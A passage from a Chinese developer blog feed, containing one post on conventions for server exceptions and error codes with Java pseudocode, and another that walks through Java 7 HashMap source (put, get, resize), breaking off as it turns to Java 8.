title="异常介绍"></a>异常介绍</h3><ul><li><p>未知异常<br>未知异常指的是服务端不可感知和控制的异常,如引入的jar包中抛出的异常,或者数据库链接异常,或者代码bug出现的空指针异常和badsql,这些异常是服务端可能出现的情况,上面列举的几个场景也确实是服务器异常,所以针对这种情况,服务端接口返回的http状态码是500 无需将相关异常栈信息返回,增加代码安全性。</p><blockquote><p>这里指的安全性是比如写了一个badsql 如果把异常栈抛出去则会导致数据表泄漏</p></blockquote></li><li><p>已知异常<br>已知异常是服务端知道可能出现异常的场景,目前拆分为<strong>前置异常</strong>、<strong>外部异常</strong>、<strong>自定义异常</strong>,对于这些异常http状态码是200,并且可以返回响应的错误信息,具体描述如下</p><ol><li>前置异常：指的是代码还没有到真正业务逻辑前抛出的异常,比如<strong>参数校验失败异常</strong>、<strong>用户没有权限异常</strong>、<strong>token过期异常</strong>、<strong>未找到资源异常</strong> 等等，</li><li>外部异常：指的是因为外部因素导致的接口异常而非正常业务逻辑错误或者数据错误导致的,比如<strong>第三方服务商异常</strong>、<strong>接口被限流</strong>、<strong>接口重复请求</strong></li><li>自定义异常：指的是程序员自己抛出来的异常，这种异常是因为代码在相关业务逻辑中，不满足业务条件并且必须手动抛出的异常，比如:子表记录找不到对应父表的记录,这种正常逻辑是不可能存在场景,是需要手动抛出异常进行排查的并且这种问题你也没办法兼容。或者举行一个秒杀活动，在活动未开始之前就有请求到服务端了，这是不现实的情况,并且于这种场景需要以来服务端的响应作出对应的展示文案，所有服务端需要自定义相关的异常返回,前段解析相关的错误码作出相关的文案展示。对于这种异常称作自定义异常。</li></ol></li></ul><h3 id="错误码的设计"><a href="#错误码的设计" class="headerlink" title="错误码的设计"></a>错误码的设计</h3><h4 id="错误码的作用"><a href="#错误码的作用" class="headerlink" title="错误码的作用"></a>错误码的作用</h4><ol><li>程序员根据错误码能够快速定位问题</li><li>通过不同的错误码可以区分出是什么原因导致的问题(传参错误，没有权限，服务异常)</li><li><strong>明确清晰</strong>的展示错误信息，方便程序员快速定位问题</li></ol><h4 id="错误码的定义"><a href="#错误码的定义" class="headerlink" title="错误码的定义"></a>错误码的定义</h4><ol><li>数字类型error_code标识<ul><li>长度可控,节省传输带宽</li><li>可读性差,需要相关文档</li><li>数字范围分段,表示不通分类,不同业务的异常</li></ul></li><li>字符串类型的error_code标识<ul><li>长度稍长</li><li>可读性高,见名知意</li></ul></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    &#x27;error_code&#x27;:401,</span><br><span class="line">    &#x27;error_str_code&#x27;:&#x27;UnAuthorized&#x27;,</span><br><span class="line">    &#x27;error_msg&#x27;:&#x27;user un Authorized: user_id:&#123;xxx&#125;&#x27;,</span><br><span class="line">    &#x27;error_reason&#x27;:&#x27;用户未授权&#x27;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="错误码枚举伪代码"><a href="#错误码枚举伪代码" class="headerlink" title="错误码枚举伪代码"></a>错误码枚举伪代码</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">public interface ErrorCodeInterface &#123;</span><br><span class="line"></span><br><span class="line">    Integer getErrorCode();</span><br><span class="line"></span><br><span class="line">    String getStrErrorCode();</span><br><span class="line"></span><br><span class="line">    String getMsg();</span><br><span class="line"></span><br><span class="line">    String getReason();</span><br><span class="line">&#125;</span><br><span class="line">@AllArgsConstructor</span><br><span class="line">public enum xxxxErrorCode implements ErrorCodeInterface&#123;</span><br><span class="line"></span><br><span class="line">    ENCODE_SDK_LICENSE_OVERDUE(1001, &quot;ActivityNotStarted&quot;, &quot;Current Activity not started&quot;,&quot;当前活动暂未开始&quot;),</span><br><span class="line"></span><br><span class="line">    Integer errorCode;</span><br><span class="line">    String  strErrorCode;</span><br><span class="line">    String  msg;</span><br><span class="line">    String reason ;</span><br><span class="line">    @Override</span><br><span class="line">    public Integer getErrorCode() &#123;</span><br><span class="line">        return errorCode;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public String getMsg() &#123;</span><br><span class="line">        return msg;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public String getStrMsg() &#123;</span><br><span class="line">        return strMsg;</span><br><span class="line">    &#125;</span><br><span class="line">     @Override</span><br><span class="line">    public String getReason() &#123;</span><br><span class="line">        return reason;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="异常伪代码"><a href="#异常伪代码" class="headerlink" title="异常伪代码"></a>异常伪代码</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">public class DataSimbaRuntimeException extends RuntimeException &#123;</span><br><span class="line"></span><br><span class="line">    private String reason;</span><br><span class="line"></span><br><span class="line">    public DataSimbaRuntimeException(String msg) &#123;</span><br><span class="line">        this(msg, &quot;&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public DataSimbaRuntimeException(String msg, Throwable cause) &#123;</span><br><span class="line">        this(msg, &quot;&quot;, cause);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public DataSimbaRuntimeException(String msg, String reason) &#123;</span><br><span class="line">        super(msg);</span><br><span class="line">        this.reason = reason;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public DataSimbaRuntimeException(String msg, String reason, Throwable cause) &#123;</span><br><span class="line">        super(msg, cause);</span><br><span class="line">        this.reason = reason;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public String getReason() &#123;</span><br><span class="line">        return this.reason == null ? &quot;&quot; : this.reason;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">/***</span><br><span class="line"> * 请求校验异常</span><br><span class="line"> */</span><br><span class="line">public class RequestValidateException extends DataSimbaRuntimeException &#123;</span><br><span class="line"></span><br><span class="line">   public RequestValidateException(String msg, Throwable cause) &#123;</span><br><span class="line">        super(msg, cause);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public RequestValidateException(String msg) &#123;</span><br><span class="line">        super(msg);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public RequestValidateException(String msg, String reason) &#123;</span><br><span class="line">        super(msg, reason);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public RequestValidateException(String msg, String reason, Throwable cause) &#123;</span><br><span class="line">        super(msg, reason, cause);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">/***</span><br><span class="line"> * 没有权限异常</span><br><span class="line"> */</span><br><span class="line">public class UnAuthorizedException extends DataSimbaRuntimeException &#123;</span><br><span class="line"></span><br><span class="line">   public UnAuthorizedException(String msg, Throwable cause) &#123;</span><br><span class="line">        super(msg, cause);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public UnAuthorizedException(String msg) &#123;</span><br><span class="line">        super(msg);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public UnAuthorizedException(String msg, String reason) &#123;</span><br><span class="line">        super(msg, reason);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public UnAuthorizedException(String msg, String reason, Throwable cause) &#123;</span><br><span class="line">        super(msg, reason, cause);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="如何应用和error-code-约定"><a href="#如何应用和error-code-约定" class="headerlink" title="如何应用和error_code 约定"></a>如何应用和error_code 约定</h4><ol><li><p>比如 请求参数不对,需要抛出请求参数异常则</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">throw new RequestValidateException(&quot;lack of user id&quot;,&quot;lack of user id&quot;)</span><br></pre></td></tr></table></figure></li><li><p>在服务端创建异常拦截器,对异常统一处理</p></li><li><p>对于未知异常,http状态码是500, 已知异常和自定义异常http状态码为200</p></li><li><p>前置异常 error_code :400～499</p></li><li><p>外部异常 error_code :600～699</p></li><li><p>自定义异常 不同的自定义error_code长度从都从1000开始,如果业务需要可以跳号到2000或者到3000开始等等</p></li></ol><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>    本次整理服务端异常和错误码的规范结合了之前工作的经验,回想了开发以来出现的异常场景,之前工作中虽然熟知如何合理的抛出异常,但是大前提是一个团队需要对异常作出响应的规范，如果没有规范每个人都抛出自己方式的异常，对于前端展示和问题排查都是非常不友好的，并且不够灵活，比如目前工作中遇到的国际化问题，必须服务端的异常非常准确,后面做国际化才能非常简单。</p>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/10/02/%E9%A1%B9%E7%9B%AE%E8%A7%84%E8%8C%83%20%E5%AF%B9%E4%BA%8E%E6%9C%8D%E5%8A%A1%E5%BC%82%E5%B8%B8%E5%92%8C%E9%94%99%E8%AF%AF%E7%A0%81%E8%A7%84%E8%8C%83%E7%9A%84%E6%80%BB%E7%BB%93/</id>
    <link href="https://blog.chuncui.icu/2020/10/02/%E9%A1%B9%E7%9B%AE%E8%A7%84%E8%8C%83%20%E5%AF%B9%E4%BA%8E%E6%9C%8D%E5%8A%A1%E5%BC%82%E5%B8%B8%E5%92%8C%E9%94%99%E8%AF%AF%E7%A0%81%E8%A7%84%E8%8C%83%E7%9A%84%E6%80%BB%E7%BB%93/"/>
    <published>2020-10-02T06:05:48.000Z</published>
    <summary>服务异常和错误码规范背景 目前公司的服务端返回的异常不规范,导致接口各个场景返回的异常不统一,使得项目不好维护。并且代码看起来不优雅,目前公司项目遇到了国际化的问题,服务端的异常也需要做出相关调整。所以对服务端的异常错误码制定一个规范。 思考 需要制定那些异常？ 错误码如何设计？如何做到可读性、可维护、灵活可控？ 新的……</summary>
    <title>项目规范 对于服务异常和错误码规范的总结</title>
    <updated>2021-05-04T06:24:49.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="java" scheme="https://blog.chuncui.icu/categories/java/"/>
    <category term="java基础" scheme="https://blog.chuncui.icu/tags/java%E5%9F%BA%E7%A1%80/"/>
    <category term="源码" scheme="https://blog.chuncui.icu/tags/%E6%BA%90%E7%A0%81/"/>
    <category term="hashmap" scheme="https://blog.chuncui.icu/tags/hashmap/"/>
    <content>
      <![CDATA[<h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>HashMap 可能是面试的时候必问的题目了，面试官为什么都偏爱拿这个问应聘者？因为 HashMap 它的设计结构和原理比较有意思，它既可以考初学者对 Java 集合的了解又可以深度的发现应聘者的数据结构功底。</p><h3 id="Java-7-中-HashMap"><a href="#Java-7-中-HashMap" class="headerlink" title="Java 7 中 HashMap"></a>Java 7 中 HashMap</h3><p>HashMap 是最简单的，一来我们非常熟悉，二来就是它不支持并发操作，所以源码也非常简单。d</p><p>首先，我们用下面这张图来介绍 HashMap 的结构。</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586585802287.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>大方向上，HashMap 里面是一个数组，然后数组中每个元素是一个单向链表。为什么是这种的结构，这涉及到数据结构方面的知识了。</p><h3 id="HashMap的数据结构"><a href="#HashMap的数据结构" class="headerlink" title="HashMap的数据结构"></a>HashMap的数据结构</h3><p>数据结构中有数组和链表来实现对数据的存储，但这两者基本上是两个极端。</p><ul><li><p>数组<br>数组存储区间是连续的，占用内存严重，故空间复杂的很大。但数组的二分查找时间复杂度小，为O(1)；<br>数组的特点是：寻址容易，插入和删除困难；</p></li><li><p>链表<br>链表存储区间离散，占用内存比较宽松，故空间复杂度很小，但时间复杂度很大，为O(N)。<br>链表的特点是：寻址困难，插入和删除容易。</p></li><li><p>哈希表<br>那么我们能不能综合两者的特性，做出一种寻址容易，插入删除也容易的数据结构？答案是肯定的，这就是我们要提起的哈希表。哈希表（(Hash table）既满足了数据的查找方便，同时不占用太多的内容空间，使用也十分方便。</p></li></ul><p>哈希表有多种不同的实现方法，我接下来解释的是最常用的一种方法—— 拉链法，我们可以理解为“链表的数组”，如图：\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586585882830.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>从上图我们可以发现哈希表是由数组+链表组成的，一个长度为16的数组中，每个数组中元素存储的是一个链表的头结点。</p><p>那么这些元素是按照什么样的规则存储到数组中呢。一般情况我们首先想到的就是元素的 key 的哈希值对数组长度取模得到 ( hash(key)%(length -1) )，这样一来，元素的分布相对来说是比较均匀的。但是，“模”运算的消耗还是比较大的，能不能找一种更快速，消耗更小的方式那？java中是这样做的：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">static int indexFor(int h, int length) &#123;</span><br><span class="line">   return h &amp; (length-1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们知道每个数据对象的hash对应唯一一个值，但是一个hash值不一定对应唯一的数据对象。如果两个不同对象的 hashCode 相同，此情况即称为哈希冲突。<br>比如上述HashMap中，12%16&#x3D;12，28%16&#x3D;12，108%16&#x3D;12，140%16&#x3D;12。所以12、28、108以及140都存储在数组下标为12的位置，然后依次放在数组中该位置的链表上。</p><p>注意：<br>对于那些 hash 冲突的数据，最新(最后) Put 的值放在链表的头部，为什么这样做呢？因为我们程序设计中认为最新放进去的值它的使用率会更高些，放在链表头比较容易查询获取到。</p><p>HashMap 里面实现一个静态内部类 Entry，Entry 包含四个属性：key，value，hash值和用于单向链表的 next。从属性key，value我们就能很明显的看出来 Entry 就是 HashMap 键值对实现的一个基础 bean，我们上面说到 HashMap的基础就是一个线性数组，这个数组就是 Entry[]，Map 里面的内容都保存在 Entry[] 里面。上图中，每个绿色的实体是嵌套类 Entry 的实例。</p><p>capacity：当前数组容量，始终保持 2^n，可以扩容，扩容后数组大小为当前的 2 倍。<br>loadFactor：负载因子，默认为0.75。<br>threshold：扩容的阈值，等于 capacity * loadFactor。<br>注意问题：</p><h4 id="1、扩容的数组的长度为什么保持-2-n？"><a href="#1、扩容的数组的长度为什么保持-2-n？" class="headerlink" title="1、扩容的数组的长度为什么保持 2^n？"></a>1、扩容的数组的长度为什么保持 2^n？</h4><p>其实这是为了保证通过hash方式获取下标的时候分布均匀。数组长度为2的n次幂的时候，不同的key 算得得 index 相同的几率较小，那么数据在数组上分布就比较均匀，也就是说碰撞的几率小，相对的，查询的时候就不用遍历某个位置上的链表，这样查询效率也就较高了。</p><h4 id="2、为什么负载因子的值默认为-0-75？"><a href="#2、为什么负载因子的值默认为-0-75？" class="headerlink" title="2、为什么负载因子的值默认为 0.75？"></a>2、为什么负载因子的值默认为 0.75？</h4><p>加载因子是表示Hash表中元素的填满的程度。</p><p>加载因子越大，填满的元素越多，空间利用率越高，但冲突的机会加大了。<br>反之,加载因子越小，填满的元素越少，冲突的机会减小，但空间浪费多了。<br>冲突的机会越大，则查找的成本越高。反之，查找的成本越小。</p><p>因此,必须在 “冲突的机会”与”空间利用率”之间寻找一种平衡与折衷。</p><h3 id="put-过程分析"><a href="#put-过程分析" class="headerlink" title="put 过程分析"></a>put 过程分析</h3><p>还是比较简单的，跟着代码走一遍吧。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">public V put(K key, V value) &#123;</span><br><span class="line">    // 当插入第一个元素的时候，需要先初始化数组大小</span><br><span class="line">    if (table == EMPTY_TABLE) &#123;</span><br><span class="line">        inflateTable(threshold);</span><br><span class="line">    &#125;</span><br><span class="line">    // 如果 key 为 null，感兴趣的可以往里看，最终会将这个 entry 放到 table[0] 中</span><br><span class="line">    if (key == null)</span><br><span class="line">        return putForNullKey(value);</span><br><span class="line">    // 1. 求 key 的 hash 值</span><br><span class="line">    int hash = hash(key);</span><br><span class="line">    // 2. 找到对应的数组下标</span><br><span class="line">    int i = indexFor(hash, table.length);</span><br><span class="line">    // 3. 遍历一下对应下标处的链表，看是否有重复的 key 已经存在，</span><br><span class="line">    //    如果有，直接覆盖，put 方法返回旧值就结束了</span><br><span class="line">    for (Entry&lt;K,V&gt; e = table[i]; e != null; e = e.next) &#123;</span><br><span class="line">        Object k;</span><br><span class="line">        if (e.hash == hash &amp;&amp; ((k = e.key) == key || key.equals(k))) &#123;</span><br><span class="line">            V oldValue = e.value;</span><br><span class="line">            e.value = value;</span><br><span class="line">            e.recordAccess(this);</span><br><span class="line">            return oldValue;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    modCount++;</span><br><span class="line">    // 4. 不存在重复的 key，将此 entry 添加到链表中，细节后面说</span><br><span class="line">    addEntry(hash, key, value, i);</span><br><span class="line">    return null;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="数组初始化（inflateTable）"><a href="#数组初始化（inflateTable）" class="headerlink" title="数组初始化（inflateTable）"></a>数组初始化（inflateTable）</h4><p>在第一个元素插入 HashMap 的时候做一次数组的初始化，就是先确定初始的数组大小，并计算数组扩容的阈值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">private void inflateTable(int toSize) &#123;</span><br><span class="line">    // 保证数组大小一定是 2 的 n 次方。</span><br><span class="line">    // 比如这样初始化：new HashMap(20)，那么处理成初始数组大小是 32</span><br><span class="line">    int capacity = roundUpToPowerOf2(toSize);</span><br><span class="line">    // 计算扩容阈值：capacity * loadFactor</span><br><span class="line">    threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);</span><br><span class="line">    // 算是初始化数组吧</span><br><span class="line">    table = new Entry[capacity];</span><br><span class="line">    initHashSeedAsNeeded(capacity); //ignore</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里有一个将数组大小保持为 2 的 n 次方的做法，Java7 和 Java8 的 HashMap 和 ConcurrentHashMap 都有相应的要求，只不过实现的代码稍微有些不同，后面再看到的时候就知道了。</p><h3 id="计算具体数组位置（indexFor）"><a href="#计算具体数组位置（indexFor）" class="headerlink" title="计算具体数组位置（indexFor）"></a>计算具体数组位置（indexFor）</h3><p>这个简单，我们自己也能 YY 一个：使用 key 的 hash 值对数组长度进行取模就可以了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">static int indexFor(int hash, int length) &#123;</span><br><span class="line">    // assert Integer.bitCount(length) == 1 : &quot;length must be a non-zero power of 2&quot;;</span><br><span class="line">    return hash &amp; (length-1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个方法很简单，简单说就是取 hash 值的低 n 位。如在数组长度为 32 的时候，其实取的就是 key 的 hash 值的低 5 位，作为它在数组中的下标位置。</p><h3 id="添加节点到链表中（addEntry）"><a href="#添加节点到链表中（addEntry）" class="headerlink" title="添加节点到链表中（addEntry）"></a>添加节点到链表中（addEntry）</h3><p>找到数组下标后，会先进行 key 判重，如果没有重复，就准备将新值放入到链表的表头。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">void addEntry(int hash, K key, V value, int bucketIndex) &#123;</span><br><span class="line">    // 如果当前 HashMap 大小已经达到了阈值，并且新值要插入的数组位置已经有元素了，那么要扩容</span><br><span class="line">    if ((size &gt;= threshold) &amp;&amp; (null != table[bucketIndex])) &#123;</span><br><span class="line">        // 扩容，后面会介绍一下</span><br><span class="line">        resize(2 * table.length);</span><br><span class="line">        // 扩容以后，重新计算 hash 值</span><br><span class="line">        hash = (null != key) ? hash(key) : 0;</span><br><span class="line">        // 重新计算扩容后的新的下标</span><br><span class="line">        bucketIndex = indexFor(hash, table.length);</span><br><span class="line">    &#125;</span><br><span class="line">    // 往下看</span><br><span class="line">    createEntry(hash, key, value, bucketIndex);</span><br><span class="line">&#125;</span><br><span class="line">// 这个很简单，其实就是将新值放到链表的表头，然后 size++</span><br><span class="line">void createEntry(int hash, K key, V value, int bucketIndex) &#123;</span><br><span class="line">    Entry&lt;K,V&gt; e = table[bucketIndex];</span><br><span class="line">    table[bucketIndex] = new Entry&lt;&gt;(hash, key, value, e);</span><br><span class="line">    size++;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个方法的主要逻辑就是先判断是否需要扩容，需要的话先扩容，然后再将这个新的数据插入到扩容后的数组的相应位置处的链表的表头。</p><h3 id="数组扩容（resize）"><a href="#数组扩容（resize）" class="headerlink" title="数组扩容（resize）"></a>数组扩容（resize）</h3><p>前面我们看到，在插入新值的时候，如果当前的 size 已经达到了阈值，并且要插入的数组位置上已经有元素，那么就会触发扩容，扩容后，数组大小为原来的 2 倍。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">void resize(int newCapacity) &#123;</span><br><span class="line">    Entry[] oldTable = table;</span><br><span class="line">    int oldCapacity = oldTable.length;</span><br><span class="line">    if (oldCapacity == MAXIMUM_CAPACITY) &#123;</span><br><span class="line">        threshold = Integer.MAX_VALUE;</span><br><span class="line">        return;</span><br><span class="line">    &#125;</span><br><span class="line">    // 新的数组</span><br><span class="line">    Entry[] newTable = new Entry[newCapacity];</span><br><span class="line">    // 将原来数组中的值迁移到新的更大的数组中</span><br><span class="line">    transfer(newTable, initHashSeedAsNeeded(newCapacity));</span><br><span class="line">    table = newTable;</span><br><span class="line">    threshold = (int)Math.min(newCapacity * loadFactor, MAXIMUM_CAPACITY + 1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>扩容就是用一个新的大数组替换原来的小数组，并将原来数组中的值迁移到新的数组中。</p><p>由于是双倍扩容，迁移过程中，会将原来 table[i] 中的链表的所有节点，分拆到新的数组的 newTable[i]和 newTable[i + oldLength] 位置上。如原来数组长度是 16，那么扩容后，原来 table[0] 处的链表中的所有元素会被分配到新数组中 newTable[0] 和 newTable[16] 这两个位置。代码比较简单，这里就不展开了。</p><h3 id="get-过程分析"><a href="#get-过程分析" class="headerlink" title="get 过程分析"></a>get 过程分析</h3><p>相对于 put 过程，get 过程是非常简单的。</p><p>根据 key 计算 hash 值。<br>找到相应的数组下标：hash &amp; (length - 1)。<br>遍历该数组位置处的链表，直到找到相等(&#x3D;&#x3D;或equals)的 key。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">public V get(Object key) &#123;</span><br><span class="line">    // 之前说过，key 为 null 的话，会被放到 table[0]，所以只要遍历下 table[0] 处的链表就可以了</span><br><span class="line">    if (key == null)</span><br><span class="line">        return getForNullKey();</span><br><span class="line">    //</span><br><span class="line">    Entry&lt;K,V&gt; entry = getEntry(key);</span><br><span class="line"></span><br><span class="line">    return null == entry ? null : entry.getValue();</span><br><span class="line">&#125;</span><br><span class="line">getEntry(key):</span><br><span class="line">final Entry&lt;K,V&gt; getEntry(Object key) &#123;</span><br><span class="line">    if (size == 0) &#123;</span><br><span class="line">        return null;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    int hash = (key == null) ? 0 : hash(key);</span><br><span class="line">    // 确定数组下标，然后从头开始遍历链表，直到找到为止</span><br><span class="line">    for (Entry&lt;K,V&gt; e = table[indexFor(hash, table.length)];</span><br><span class="line">         e != null;</span><br><span class="line">         e = e.next) &#123;</span><br><span class="line">        Object k;</span><br><span class="line">        if (e.hash == hash &amp;&amp;</span><br><span class="line">            ((k = e.key) == key || (key != null &amp;&amp; key.equals(k))))</span><br><span class="line">            return e;</span><br><span class="line">    &#125;</span><br><span class="line">     return null;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Java8-中-HashMap"><a href="#Java8-中-HashMap" class="headerlink" title="Java8 中 HashMap"></a>Java8 中 HashMap</h3><p>Java8 对 HashMap 进行了一些修改，最大的不同就是利用了红黑树，所以其由 数组+链表+红黑树 组成。</p><p>根据 Java7 HashMap 的介绍，我们知道，查找的时候，根据 hash 值我们能够快速定位到数组的具体下标，但是之后的话，需要顺着链表一个个比较下去才能找到我们需要的，时间复杂度取决于链表的长度，为 O(n)。</p><p>为了降低这部分的开销，在 Java8 中，当链表中的元素达到了 8 个时，会将链表转换为红黑树，在这些位置进行查找的时候可以降低时间复杂度为 